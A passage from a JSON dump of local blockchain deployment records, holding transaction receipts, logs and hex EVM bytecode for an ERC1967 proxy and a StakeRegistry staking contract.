815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220382403f9f1ed20a5a1d1c5dbd9a1753b13344687a8aec46834674bad6791d34064736f6c634300081c0033","nonce":35,"gas_used":573230},"receipt":{"type":"0x2","status":"0x1","cumulativeGasUsed":"0x8bf2e","logs":[{"address":"0x1613beb3b2c4f22ee086b2b38c1476a3ce7f78e8","topics":["0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b","0x0000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e0"],"data":"0x"},{"address":"0x1613beb3b2c4f22ee086b2b38c1476a3ce7f78e8","topics":["0x7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f"],"data":"0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000009e545e3c0baab3e08cdfd552c960a1050f373042"}],"logsBloom":"0x00000000000000000000000000000000400000000000000000000000000000000000000000000000000400000000000000400000000000000000000000000000000000000000000000000000000002000000000000000000000000000000400008000000000000000000010000000000000000800000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000000000000001000"},"block_hash":"0xd351f4a88bfc87d7e3d306fb39d5689a42d93bdff4193db6573e73e3ca7bd959","block_number":3},{"info":{"transaction_hash":"0xb3b079d100a62ba1edc4512ca0d52b7dcee69d71f24ca78608ee09b3a5e90b92","transaction_index":0,"from":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","to":null,"contract_address":"0x99bba657f2bbc93c02d617f8ba121cb8fc104acf","traces":[{"parent":null,"children":[],"idx":0,"trace":{"depth":0,"success":true,"caller":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","address":"0x99bba657f2bbc93c02d617f8ba121cb8fc104acf","maybe_precompile":false,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CREATE","value":"0x0","data":"0x60c060405234801561001057600080fd5b5060405161389c38038061389c83398101604081905261002f9161005e565b6001600160a01b0391821660a05216608052610098565b6001600160a01b038116811461005b57600080fd5b50565b6000806040838503121561007157600080fd5b825161007c81610046565b602084015190925061008d81610046565b809150509250929050565b60805160a0516137a06100fc6000396000818161037a015281816106340152818161096701528181610ccf015281816110f0015281816116d0015281816117d2015281816118eb0152611cad0152600081816105290152611e6e01526137a06000f3fe608060405234801561001057600080fd5b50600436106101e55760003560e01c80639f3ccf651161010f578063c8294c56116100a2578063f2be94ae11610071578063f2be94ae1461054b578063f851e1981461055e578063fa28c62714610571578063ff694a771461058457600080fd5b8063c8294c56146104d6578063d5eccc05146104e9578063dd9846b9146104fc578063df5cf7231461052457600080fd5b8063bc9a40c3116100de578063bc9a40c314610474578063bd29b8cd14610487578063c46778a51461049a578063c601527d146104c357600080fd5b80639f3ccf65146103ee578063ac6bfb0314610401578063adc804da14610421578063b6904b781461046157600080fd5b80634bd26e091161018757806366acfefe1161015657806366acfefe1461034a5780636d14a987146103755780637c172347146103b457806381c07502146103ce57600080fd5b80634bd26e09146102e55780635401ed27146103155780635e5a6775146103285780635f1f2d771461033757600080fd5b806320b66298116101c357806320b662981461026c57806325504777146102815780632cd95940146102a25780633ca5a5f5146102c257600080fd5b80630491b41c146101ea57806308732461146102205780631f9b74e014610241575b600080fd5b61020d6101f8366004612bca565b60ff1660009081526001602052604090205490565b6040519081526020015b60405180910390f35b61023361022e366004612be5565b610597565b604051610217929190612c0f565b61025461024f366004612c49565b6105e0565b6040516001600160601b039091168152602001610217565b61027f61027a366004612cc4565b610632565b005b61029461028f366004612d89565b610959565b604051610217929190612e29565b6102b56102b0366004612e4e565b610c15565b6040516102179190612e7a565b61020d6102d0366004612bca565b60ff1660009081526003602052604090205490565b61020d6102f3366004612e4e565b600091825260026020908152604080842060ff93909316845291905290205490565b610254610323366004612e4e565b610cb4565b61020d670de0b6b3a764000081565b61027f610345366004612f85565b610ccd565b61035d610358366004612d89565b6110e3565b6040516001600160c01b039091168152602001610217565b61039c7f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b039091168152602001610217565b6103bc602081565b60405160ff9091168152602001610217565b6103e16103dc366004613046565b611240565b6040516102179190613098565b61039c6103fc366004612be5565b6114f5565b61041461040f3660046130d6565b61152d565b6040516102179190613109565b61043461042f366004612be5565b6115c5565b6040805182516001600160a01b031681526020928301516001600160601b03169281019290925201610217565b61041461046f366004612be5565b61163f565b61027f61048236600461315a565b6116ce565b61027f610495366004613184565b6117c7565b6102546104a8366004612bca565b6000602081905290815260409020546001600160601b031681565b61027f6104d136600461324f565b6118e9565b6102546104e436600461329c565b6119dd565b6102546104f7366004612bca565b611a5b565b61050f61050a3660046132d9565b611aae565b60405163ffffffff9091168152602001610217565b61039c7f000000000000000000000000000000000000000000000000000000000000000081565b610254610559366004613315565b611ac3565b61041461056c366004612e4e565b611b58565b61025461057f3660046132d9565b611c41565b61027f610592366004613357565b611ca2565b600360205281600052604060002081815481106105b357600080fd5b6000918252602090912001546001600160a01b0381169250600160a01b90046001600160601b0316905082565b60ff8216600090815260016020526040812054839061061a5760405162461bcd60e51b8152600401610611906133b4565b60405180910390fd5b60006106268585611e0d565b509250505b5092915050565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316638da5cb5b6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610690573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106b49190613405565b6001600160a01b0316336001600160a01b0316146106e45760405162461bcd60e51b815260040161061190613422565b846107008160ff16600090815260016020526040902054151590565b61071c5760405162461bcd60e51b8152600401610611906133b4565b8380610792576040805162461bcd60e51b81526020600482015260248101919091527f5374616b6552656769737472792e6d6f6469667953747261746567795061726160448201527f6d733a206e6f20737472617465677920696e64696365732070726f76696465646064820152608401610611565b8281146108075760405162461bcd60e51b815260206004820152603960248201527f5374616b6552656769737472792e6d6f6469667953747261746567795061726160448201527f6d733a20696e707574206c656e677468206d69736d61746368000000000000006064820152608401610611565b60ff87166000908152600360205260408120905b8281101561094e578585828181106108355761083561349e565b905060200201602081019061084a91906134b4565b8289898481811061085d5761085d61349e565b90506020020135815481106108745761087461349e565b9060005260206000200160000160146101000a8154816001600160601b0302191690836001600160601b031602179055508860ff167f11a5641322da1dff56a4b66eaac31ffa465295ece907cd163437793b4d009a75838a8a858181106108dd576108dd61349e565b90506020020135815481106108f4576108f461349e565b6000918252602090912001546001600160a01b031688888581811061091b5761091b61349e565b905060200201602081019061093091906134b4565b60405161093e929190612c0f565b60405180910390a260010161081b565b505050505050505050565b606080336001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016146109a45760405162461bcd60e51b8152600401610611906134cf565b6000836001600160401b038111156109be576109be612ef4565b6040519080825280602002602001820160405280156109e7578160200160208202803683370190505b5090506000846001600160401b03811115610a0457610a04612ef4565b604051908082528060200260200182016040528015610a2d578160200160208202803683370190505b50905060005b85811015610c07576000878783818110610a4f57610a4f61349e565b919091013560f81c60008181526001602052604090205490925015159050610ad75760405162461bcd60e51b815260206004820152603560248201527f5374616b6552656769737472792e72656769737465724f70657261746f723a206044820152741c5d5bdc9d5b48191bd95cc81b9bdd08195e1a5cdd605a1b6064820152608401610611565b600080610ae4838d611e0d565b9150915080610b815760405162461bcd60e51b815260206004820152605b60248201527f5374616b6552656769737472792e72656769737465724f70657261746f723a2060448201527f4f70657261746f7220646f6573206e6f74206d656574206d696e696d756d207360648201527f74616b6520726571756972656d656e7420666f722071756f72756d0000000000608482015260a401610611565b6000610b8e8c8585612001565b905082878681518110610ba357610ba361349e565b60200260200101906001600160601b031690816001600160601b031681525050610bcd8482612280565b868681518110610bdf57610bdf61349e565b6001600160601b0390921660209283029190910190910152505060019092019150610a339050565b509097909650945050505050565b600082815260026020908152604080832060ff851684528252808320805482518185028101850190935280835260609492939192909184015b82821015610ca7576000848152602090819020604080516060810182529185015463ffffffff8082168452600160201b82041683850152600160401b90046001600160601b031690820152825260019092019101610c4e565b5050505090505b92915050565b600080610cc18484611b58565b60400151949350505050565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316638da5cb5b6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d2b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d4f9190613405565b6001600160a01b0316336001600160a01b031614610d7f5760405162461bcd60e51b815260040161061190613422565b81610d9b8160ff16600090815260016020526040902054151590565b610db75760405162461bcd60e51b8152600401610611906133b4565b815180610e2c5760405162461bcd60e51b815260206004820152603d60248201527f5374616b6552656769737472792e72656d6f7665537472617465676965733a2060448201527f6e6f20696e646963657320746f2072656d6f76652070726f76696465640000006064820152608401610611565b60ff841660009081526003602090815260408083206004909252822090915b838110156110da578660ff167f31fa2e2cd280c9375e13ffcf3d81e2378100186e4058f8d3ddb690b82dcd31f784888481518110610e8b57610e8b61349e565b602002602001015181548110610ea357610ea361349e565b600091825260209182902001546040516001600160a01b0390911681520160405180910390a28660ff167f11a5641322da1dff56a4b66eaac31ffa465295ece907cd163437793b4d009a7584888481518110610f0157610f0161349e565b602002602001015181548110610f1957610f1961349e565b600091825260208083209190910154604080516001600160a01b039092168252918101929092520160405180910390a282548390610f5990600190613557565b81548110610f6957610f6961349e565b9060005260206000200183878381518110610f8657610f8661349e565b602002602001015181548110610f9e57610f9e61349e565b600091825260209091208254910180546001600160a01b0319166001600160a01b03909216918217815591546001600160601b03600160a01b9182900416021790558254839080610ff157610ff161356a565b6000828152602081208201600019908101919091550190558154829061101990600190613557565b815481106110295761102961349e565b9060005260206000200160009054906101000a90046001600160a01b03168287838151811061105a5761105a61349e565b6020026020010151815481106110725761107261349e565b9060005260206000200160006101000a8154816001600160a01b0302191690836001600160a01b03160217905550818054806110b0576110b061356a565b600082815260209020810160001990810180546001600160a01b0319169055019055600101610e4b565b50505050505050565b6000336001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000161461112d5760405162461bcd60e51b8152600401610611906134cf565b6000805b8381101561123657600085858381811061114d5761114d61349e565b919091013560f81c600081815260016020526040902054909250151590506111dd5760405162461bcd60e51b815260206004820152603860248201527f5374616b6552656769737472792e7570646174654f70657261746f725374616b60448201527f653a2071756f72756d20646f6573206e6f7420657869737400000000000000006064820152608401610611565b6000806111ea838b611e0d565b915091508061120c5760009150600160ff84161b6001600160c01b0386161794505b60006112198a8585612001565b90506112258482612280565b505060019093019250611131915050565b5095945050505050565b60606000826001600160401b0381111561125c5761125c612ef4565b604051908082528060200260200182016040528015611285578160200160208202803683370190505b50905060005b838110156114ea5760008585838181106112a7576112a761349e565b919091013560f81c600081815260016020526040902054909250151590506113465760405162461bcd60e51b815260206004820152604660248201527f5374616b6552656769737472792e676574546f74616c5374616b65496e64696360448201527f65734174426c6f636b4e756d6265723a2071756f72756d20646f6573206e6f7460648201526508195e1a5cdd60d21b608482015260a401610611565b60ff81166000908152600160205260408120805463ffffffff8a16929061136f5761136f61349e565b60009182526020909120015463ffffffff16111561141b5760405162461bcd60e51b815260206004820152605b60248201527f5374616b6552656769737472792e676574546f74616c5374616b65496e64696360448201527f65734174426c6f636b4e756d6265723a2071756f72756d20686173206e6f207360648201527f74616b6520686973746f727920617420626c6f636b4e756d6265720000000000608482015260a401610611565b60ff8116600090815260016020526040812054905b818110156114df5760ff8316600090815260016020819052604090912063ffffffff8b169161145f8486613557565b6114699190613557565b815481106114795761147961349e565b60009182526020909120015463ffffffff16116114d757600161149c8284613557565b6114a69190613557565b8585815181106114b8576114b861349e565b602002602001019063ffffffff16908163ffffffff16815250506114df565b600101611430565b50505060010161128b565b5090505b9392505050565b6004602052816000526040600020818154811061151157600080fd5b6000918252602090912001546001600160a01b03169150829050565b60408051606081018252600080825260208083018290528284018290528582526002815283822060ff881683529052919091208054839081106115725761157261349e565b600091825260209182902060408051606081018252929091015463ffffffff8082168452600160201b82041693830193909352600160401b9092046001600160601b031691810191909152949350505050565b604080518082019091526000808252602082015260ff831660009081526003602052604090208054839081106115fd576115fd61349e565b6000918252602091829020604080518082019091529101546001600160a01b0381168252600160a01b90046001600160601b0316918101919091529392505050565b604080516060810182526000808252602080830182905282840182905260ff86168252600190529190912080548390811061167c5761167c61349e565b600091825260209182902060408051606081018252929091015463ffffffff8082168452600160201b82041693830193909352600160401b9092046001600160601b0316918101919091529392505050565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316638da5cb5b6040518163ffffffff1660e01b8152600401602060405180830381865afa15801561172c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117509190613405565b6001600160a01b0316336001600160a01b0316146117805760405162461bcd60e51b815260040161061190613422565b8161179c8160ff16600090815260016020526040902054151590565b6117b85760405162461bcd60e51b8152600401610611906133b4565b6117c283836123f7565b505050565b336001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000161461180f5760405162461bcd60e51b8152600401610611906134cf565b60005b818110156118e357600083838381811061182e5761182e61349e565b919091013560f81c600081815260016020526040902054909250151590506118be5760405162461bcd60e51b815260206004820152603760248201527f5374616b6552656769737472792e646572656769737465724f70657261746f7260448201527f3a2071756f72756d20646f6573206e6f742065786973740000000000000000006064820152608401610611565b60006118cc86836000612001565b90506118d88282612280565b505050600101611812565b50505050565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316638da5cb5b6040518163ffffffff1660e01b8152600401602060405180830381865afa158015611947573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061196b9190613405565b6001600160a01b0316336001600160a01b03161461199b5760405162461bcd60e51b815260040161061190613422565b816119b78160ff16600090815260016020526040902054151590565b6119d35760405162461bcd60e51b8152600401610611906133b4565b6117c28383612460565b60ff83166000908152600160205260408120805482919084908110611a0457611a0461349e565b600091825260209182902060408051606081018252919092015463ffffffff8082168352600160201b820416938201939093526001600160601b03600160401b90930492909216908201529050610cc1818561288e565b60ff81166000908152600160208190526040822080549091611a7c91613557565b81548110611a8c57611a8c61349e565b600091825260209091200154600160401b90046001600160601b031692915050565b6000611abb848484612a08565b949350505050565b600082815260026020908152604080832060ff881684529091528120805482919084908110611af457611af461349e565b600091825260209182902060408051606081018252919092015463ffffffff8082168352600160201b820416938201939093526001600160601b03600160401b90930492909216908201529050611b4b818661288e565b6040015195945050505050565b6040805160608082018352600080835260208084018290528385018290528682526002815284822060ff8716835281528482205485519384018652828452908301829052938201819052919291829003611bb5579150610cae9050565b600085815260026020908152604080832060ff881684529091529020611bdc600184613557565b81548110611bec57611bec61349e565b600091825260209182902060408051606081018252919092015463ffffffff8082168352600160201b820416938201939093526001600160601b03600160401b90930492909216908201529250610cae915050565b600083815260026020908152604080832060ff861684529091528120611c68858585612a08565b63ffffffff1681548110611c7e57611c7e61349e565b600091825260209091200154600160401b90046001600160601b0316949350505050565b336001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001614611cea5760405162461bcd60e51b8152600401610611906134cf565b60ff831660009081526001602052604090205415611d685760405162461bcd60e51b815260206004820152603560248201527f5374616b6552656769737472792e696e697469616c697a6551756f72756d3a2060448201527471756f72756d20616c72656164792065786973747360581b6064820152608401610611565b611d728382612460565b611d7c83836123f7565b505060ff166000908152600160208181526040808420815160608101835263ffffffff438116825281850187815293820187815283549687018455928752939095209451949093018054915193516001600160601b0316600160401b02600160401b600160a01b0319948416600160201b0267ffffffffffffffff1990931695909316949094171791909116179055565b600080600080611e2c8660ff1660009081526003602052604090205490565b604080518082019091526000808252602082015290915060ff871660009081526004602081905260408083209051639004134760e01b81526001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001692639004134792611ea1928c9201613580565b600060405180830381865afa158015611ebe573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052611ee691908101906135e2565b905060005b83811015611fcd5760ff89166000908152600360205260409020805482908110611f1757611f1761349e565b60009182526020808320604080518082019091529201546001600160a01b0381168352600160a01b90046001600160601b0316908201528351909450839083908110611f6557611f6561349e565b60200260200101511115611fc557670de0b6b3a764000083602001516001600160601b0316838381518110611f9c57611f9c61349e565b6020026020010151611fae919061366d565b611fb89190613684565b611fc290866136a6565b94505b600101611eeb565b50505060ff8616600090815260208190526040902054919350506001600160601b03908116908316101590505b9250929050565b600083815260026020908152604080832060ff8616845290915281205481908082036120c757600086815260026020908152604080832060ff891684528252808320815160608101835263ffffffff43811682528185018681526001600160601b03808c16958401958652845460018101865594885295909620915191909201805495519351909416600160401b02600160401b600160a01b0319938316600160201b0267ffffffffffffffff1990961691909216179390931716919091179055612226565b600086815260026020908152604080832060ff8916845290915281206120ee600184613557565b815481106120fe576120fe61349e565b600091825260209091200180546001600160601b03600160401b909104811694509091508516830361213657600093505050506114ee565b805463ffffffff43811691160361216e578054600160401b600160a01b031916600160401b6001600160601b03871602178155612224565b805467ffffffff000000001916600160201b4363ffffffff90811682810293909317845560008a815260026020908152604080832060ff8d168452825280832081516060810183529687528683018481526001600160601b038d81169389019384528254600181018455928652939094209651960180549351915196851667ffffffffffffffff1990941693909317931690930291909117600160401b600160a01b031916600160401b93909216929092021790555b505b6040805160ff871681526001600160601b038616602082015287917f2f527d527e95d8fe40aec55377743bb779087da3f6d0d08f12e36444da62327d910160405180910390a26122768285612b6e565b9695505050505050565b60ff8216600090815260016020819052604082208054918391906122a49084613557565b815481106122b4576122b461349e565b906000526020600020019050836000036122e25754600160401b90046001600160601b03169150610cae9050565b805460009061230190600160401b90046001600160601b031686612b86565b825490915063ffffffff43811691160361233c578154600160401b600160a01b031916600160401b6001600160601b038316021782556123ee565b815463ffffffff438116600160201b81810267ffffffff000000001990941693909317855560ff8916600090815260016020818152604080842081516060810183529586528583018581526001600160601b03808b169388019384528254958601835591865292909420945194909201805491519251909316600160401b02600160401b600160a01b031992861690960267ffffffffffffffff19909116939094169290921792909217169190911790555b95945050505050565b60ff82166000818152602081815260409182902080546bffffffffffffffffffffffff19166001600160601b03861690811790915591519182527f26eecff2b70b0a71104ff4d940ba7162d23a95c248771fc487a7be17a596b3cf910160405180910390a25050565b60008151116124c55760405162461bcd60e51b8152602060048201526038602482015260008051602061374b83398151915260448201527f3a206e6f20737472617465676965732070726f766964656400000000000000006064820152608401610611565b805160ff8316600090815260036020908152604090912054906124e883836136c5565b11156125585760405162461bcd60e51b8152602060048201526045602482015260008051602061374b83398151915260448201527f3a20657863656564204d41585f5745494748494e475f46554e4354494f4e5f4c60648201526408a9c8ea8960db1b608482015260a401610611565b60005b828110156128875760005b61257082846136c5565b811015612646578482815181106125895761258961349e565b6020026020010151600001516001600160a01b0316600360008860ff1660ff16815260200190815260200160002082815481106125c8576125c861349e565b6000918252602090912001546001600160a01b03160361263e5760405162461bcd60e51b815260206004820152603d602482015260008051602061374b83398151915260448201527f3a2063616e6e6f74206164642073616d652073747261746567792032780000006064820152608401610611565b600101612566565b50600084828151811061265b5761265b61349e565b6020026020010151602001516001600160601b0316116126e05760405162461bcd60e51b8152602060048201526046602482015260008051602061374b83398151915260448201527f3a2063616e6e6f74206164642073747261746567792077697468207a65726f206064820152651dd95a59da1d60d21b608482015260a401610611565b60ff8516600090815260036020526040902084518590839081106127065761270661349e565b602090810291909101810151825460018101845560009384528284208251928401516001600160601b0316600160a01b026001600160a01b039093169290921791015560ff871682526004905260409020845185908390811061276b5761276b61349e565b6020908102919091018101515182546001810184556000938452919092200180546001600160a01b0319166001600160a01b03909216919091179055835160ff8616907f10565e56cacbf32eca267945f054fec02e59750032d113d3302182ad967f5404908690849081106127e2576127e261349e565b602090810291909101810151516040516001600160a01b0390911681520160405180910390a28460ff167f11a5641322da1dff56a4b66eaac31ffa465295ece907cd163437793b4d009a7585838151811061283f5761283f61349e565b60200260200101516000015186848151811061285d5761285d61349e565b602002602001015160200151604051612877929190612c0f565b60405180910390a260010161255b565b5050505050565b816000015163ffffffff168163ffffffff1610156129335760405162461bcd60e51b815260206004820152605660248201527f5374616b6552656769737472792e5f76616c69646174655374616b655570646160448201527f74654174426c6f636b4e756d6265723a207374616b6555706461746520697320606482015275333937b69030b33a32b910313637b1b5a73ab6b132b960511b608482015260a401610611565b602082015163ffffffff1615806129595750816020015163ffffffff168163ffffffff16105b612a045760405162461bcd60e51b815260206004820152606a60248201527f5374616b6552656769737472792e5f76616c69646174655374616b655570646160448201527f74654174426c6f636b4e756d6265723a2074686572652069732061206e65776560648201527f72207374616b6555706461746520617661696c61626c65206265666f726520626084820152693637b1b5a73ab6b132b960b11b60a482015260c401610611565b5050565b600083815260026020908152604080832060ff86168452909152812054805b8015612aa957600086815260026020908152604080832060ff89168452909152902063ffffffff851690612a5c600184613557565b81548110612a6c57612a6c61349e565b60009182526020909120015463ffffffff1611612a9757612a8e600182613557565b925050506114ee565b80612aa1816136d8565b915050612a27565b5060405162461bcd60e51b815260206004820152608160248201527f5374616b6552656769737472792e5f6765745374616b65557064617465496e6460448201527f6578466f724f70657261746f724174426c6f636b4e756d6265723a206e6f207360648201527f74616b652075706461746520666f756e6420666f72206f70657261746f72496460848201527f20616e642071756f72756d4e756d62657220617420626c6f636b206e756d626560a4820152603960f91b60c482015260e401610611565b60006114ee6001600160601b038085169084166136ef565b600080821215612baa57612b998261370f565b612ba3908461372b565b9050610cae565b612ba382846136a6565b803560ff81168114612bc557600080fd5b919050565b600060208284031215612bdc57600080fd5b6114ee82612bb4565b60008060408385031215612bf857600080fd5b612c0183612bb4565b946020939093013593505050565b6001600160a01b039290921682526001600160601b0316602082015260400190565b6001600160a01b0381168114612c4657600080fd5b50565b60008060408385031215612c5c57600080fd5b612c6583612bb4565b91506020830135612c7581612c31565b809150509250929050565b60008083601f840112612c9257600080fd5b5081356001600160401b03811115612ca957600080fd5b6020830191508360208260051b8501011115611ffa57600080fd5b600080600080600060608688031215612cdc57600080fd5b612ce586612bb4565b945060208601356001600160401b03811115612d0057600080fd5b612d0c88828901612c80565b90955093505060408601356001600160401b03811115612d2b57600080fd5b612d3788828901612c80565b969995985093965092949392505050565b60008083601f840112612d5a57600080fd5b5081356001600160401b03811115612d7157600080fd5b602083019150836020828501011115611ffa57600080fd5b60008060008060608587031215612d9f57600080fd5b8435612daa81612c31565b93506020850135925060408501356001600160401b03811115612dcc57600080fd5b612dd887828801612d48565b95989497509550505050565b600081518084526020840193506020830160005b82811015612e1f5781516001600160601b0316865260209586019590910190600101612df8565b5093949350505050565b604081526000612e3c6040830185612de4565b82810360208401526123ee8185612de4565b60008060408385031215612e6157600080fd5b82359150612e7160208401612bb4565b90509250929050565b602080825282518282018190526000918401906040840190835b81811015612ee957612ed383855163ffffffff815116825263ffffffff60208201511660208301526001600160601b0360408201511660408301525050565b6020939093019260609290920191600101612e94565b509095945050505050565b634e487b7160e01b600052604160045260246000fd5b604080519081016001600160401b0381118282101715612f2c57612f2c612ef4565b60405290565b604051601f8201601f191681016001600160401b0381118282101715612f5a57612f5a612ef4565b604052919050565b60006001600160401b03821115612f7b57612f7b612ef4565b5060051b60200190565b60008060408385031215612f9857600080fd5b612fa183612bb4565b915060208301356001600160401b03811115612fbc57600080fd5b8301601f81018513612fcd57600080fd5b8035612fe0612fdb82612f62565b612f32565b8082825260208201915060208360051b85010192508783111561300257600080fd5b6020840193505b82841015613024578335825260209384019390910190613009565b809450505050509250929050565b803563ffffffff81168114612bc557600080fd5b60008060006040848603121561305b57600080fd5b61306484613032565b925060208401356001600160401b0381111561307f57600080fd5b61308b86828701612d48565b9497909650939450505050565b602080825282518282018190526000918401906040840190835b81811015612ee957835163ffffffff168352602093840193909201916001016130b2565b6000806000606084860312156130eb57600080fd5b6130f484612bb4565b95602085013595506040909401359392505050565b60608101610cae828463ffffffff815116825263ffffffff60208201511660208301526001600160601b0360408201511660408301525050565b80356001600160601b0381168114612bc557600080fd5b6000806040838503121561316d57600080fd5b61317683612bb4565b9150612e7160208401613143565b60008060006040848603121561319957600080fd5b8335925060208401356001600160401b0381111561307f57600080fd5b600082601f8301126131c757600080fd5b81356131d5612fdb82612f62565b8082825260208201915060208360061b8601019250858311156131f757600080fd5b602085015b83811015611236576040818803121561321457600080fd5b61321c612f0a565b813561322781612c31565b815261323560208301613143565b6020820152808452506020830192506040810190506131fc565b6000806040838503121561326257600080fd5b61326b83612bb4565b915060208301356001600160401b0381111561328657600080fd5b613292858286016131b6565b9150509250929050565b6000806000606084860312156132b157600080fd5b6132ba84612bb4565b92506132c860208501613032565b929592945050506040919091013590565b6000806000606084860312156132ee57600080fd5b833592506132fe60208501612bb4565b915061330c60408501613032565b90509250925092565b6000806000806080858703121561332b57600080fd5b61333485612bb4565b935061334260208601613032565b93969395505050506040820135916060013590565b60008060006060848603121561336c57600080fd5b61337584612bb4565b925061338360208501613143565b915060408401356001600160401b0381111561339e57600080fd5b6133aa868287016131b6565b9150509250925092565b60208082526031908201527f5374616b6552656769737472792e71756f72756d4578697374733a2071756f726040820152701d5b48191bd95cc81b9bdd08195e1a5cdd607a1b606082015260800190565b60006020828403121561341757600080fd5b81516114ee81612c31565b60208082526056908201527f5374616b6552656769737472792e6f6e6c79436f6f7264696e61746f724f776e60408201527f65723a2063616c6c6572206973206e6f7420746865206f776e6572206f6620746060820152753432903932b3b4b9ba393ca1b7b7b93234b730ba37b960511b608082015260a00190565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156134c657600080fd5b6114ee82613143565b6020808252604c908201527f5374616b6552656769737472792e6f6e6c795265676973747279436f6f72646960408201527f6e61746f723a2063616c6c6572206973206e6f7420746865205265676973747260608201526b3ca1b7b7b93234b730ba37b960a11b608082015260a00190565b634e487b7160e01b600052601160045260246000fd5b81810381811115610cae57610cae613541565b634e487b7160e01b600052603160045260246000fd5b6001600160a01b0383168152604060208083018290528354918301829052600084815290812090916060840190835b818110156135d65783546001600160a01b03168352600193840193602090930192016135af565b50909695505050505050565b6000602082840312156135f457600080fd5b81516001600160401b0381111561360a57600080fd5b8201601f8101841361361b57600080fd5b8051613629612fdb82612f62565b8082825260208201915060208360051b85010192508683111561364b57600080fd5b6020840193505b82841015612276578351825260209384019390910190613652565b8082028115828204841417610cae57610cae613541565b6000826136a157634e487b7160e01b600052601260045260246000fd5b500490565b6001600160601b038181168382160190811115610cae57610cae613541565b80820180821115610cae57610cae613541565b6000816136e7576136e7613541565b506000190190565b818103600083128015838313168383128216171561062b5761062b613541565b6000600160ff1b820161372457613724613541565b5060000390565b6001600160601b038281168282160390811115610cae57610cae61354156fe5374616b6552656769737472792e5f6164645374726174656779506172616d73a2646970667358221220ade96e3ade679b88daf0a3f2ca01448425dba1d13a0dbd3a632fb89841cd4fea64736f6c634300081c0033000000000000000000000000851356ae760d987e095750cceb3bc6014560891c000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc9","output":"0x608060405234801561001057600080fd5b50600436106101e55760003560e01c80639f3ccf651161010f578063c8294c56116100a2578063f2be94ae11610071578063f2be94ae1461054b578063f851e1981461055e578063fa28c62714610571578063ff694a771461058457600080fd5b8063c8294c56146104d6578063d5eccc05146104e9578063dd9846b9146104fc578063df5cf7231461052457600080fd5b8063bc9a40c3116100de578063bc9a40c314610474578063bd29b8cd14610487578063c46778a51461049a578063c601527d146104c357600080fd5b80639f3ccf65146103ee578063ac6bfb0314610401578063adc804da14610421578063b6904b781461046157600080fd5b80634bd26e091161018757806366acfefe1161015657806366acfefe1461034a5780636d14a987146103755780637c172347146103b457806381c07502146103ce57600080fd5b80634bd26e09146102e55780635401ed27146103155780635e5a6775146103285780635f1f2d771461033757600080fd5b806320b66298116101c357806320b662981461026c57806325504777146102815780632cd95940146102a25780633ca5a5f5146102c257600080fd5b80630491b41c146101ea57806308732461146102205780631f9b74e014610241575b600080fd5b61020d6101f8366004612bca565b60ff1660009081526001602052604090205490565b6040519081526020015b60405180910390f35b61023361022e366004612be5565b610597565b604051610217929190612c0f565b61025461024f366004612c49565b6105e0565b6040516001600160601b039091168152602001610217565b61027f61027a366004612cc4565b610632565b005b61029461028f366004612d89565b610959565b604051610217929190612e29565b6102b56102b0366004612e4e565b610c15565b6040516102179190612e7a565b61020d6102d0366004612bca565b60ff1660009081526003602052604090205490565b61020d6102f3366004612e4e565b600091825260026020908152604080842060ff93909316845291905290205490565b610254610323366004612e4e565b610cb4565b61020d670de0b6b3a764000081